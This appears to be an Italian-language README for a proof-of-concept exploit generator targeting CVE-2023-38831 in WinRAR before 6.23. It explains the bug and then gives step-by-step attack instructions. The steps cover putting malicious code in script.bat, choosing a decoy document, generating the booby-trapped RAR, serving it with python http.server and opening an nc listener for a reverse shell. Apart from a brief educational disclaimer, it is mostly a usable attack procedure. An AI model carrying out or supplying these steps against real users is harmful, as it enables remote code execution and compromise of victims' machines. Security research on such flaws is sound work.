asepsaepdin/cve-2023-38831Genera un archivio RAR dannoso che sfrutta CVE-2023-38831 in WinRAR per eseguire codice arbitrario quando un utente apre un file benigno, con un generatore di exploit basato su Python e configurazione del listener.
⚠️ Solo per scopi educativi e di ricerca sulla sicurezza autorizzati
Molto grato all'autore originale del PoC b1tg e a Group-IB Threat Intelligence
RARLabs WinRAR precedente alla versione 6.23 consente agli aggressori di eseguire codice arbitrario quando un utente tenta di visualizzare un file benigno all'interno di un archivio ZIP.
Il problema si verifica perché un archivio ZIP può includere un file benigno (ad esempio un normale file .JPG) e anche una cartella con lo stesso nome del file benigno, e il contenuto della cartella (che può includere contenuto eseguibile) viene elaborato durante il tentativo di accedere solo al file benigno. Questa vulnerabilità è stata sfruttata in natura da aprile ad agosto 2023.
Per prima cosa, modifica il file script.bat con il tuo codice di esecuzione pericoloso
Inserisci il file esca, è consigliato un'immagine (.png, .jpg) o un documento (.pdf)
Esegui il comando per generare il file exploit
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
Invia il file exploit alla macchina target usando python http.server, ad esempio:
python -m http.server
Imposta il listener sulla tua macchina attaccante:
nc -nlvp 4444
Scarica e apri il file exploit con una versione di WinRAR precedente alla 6.23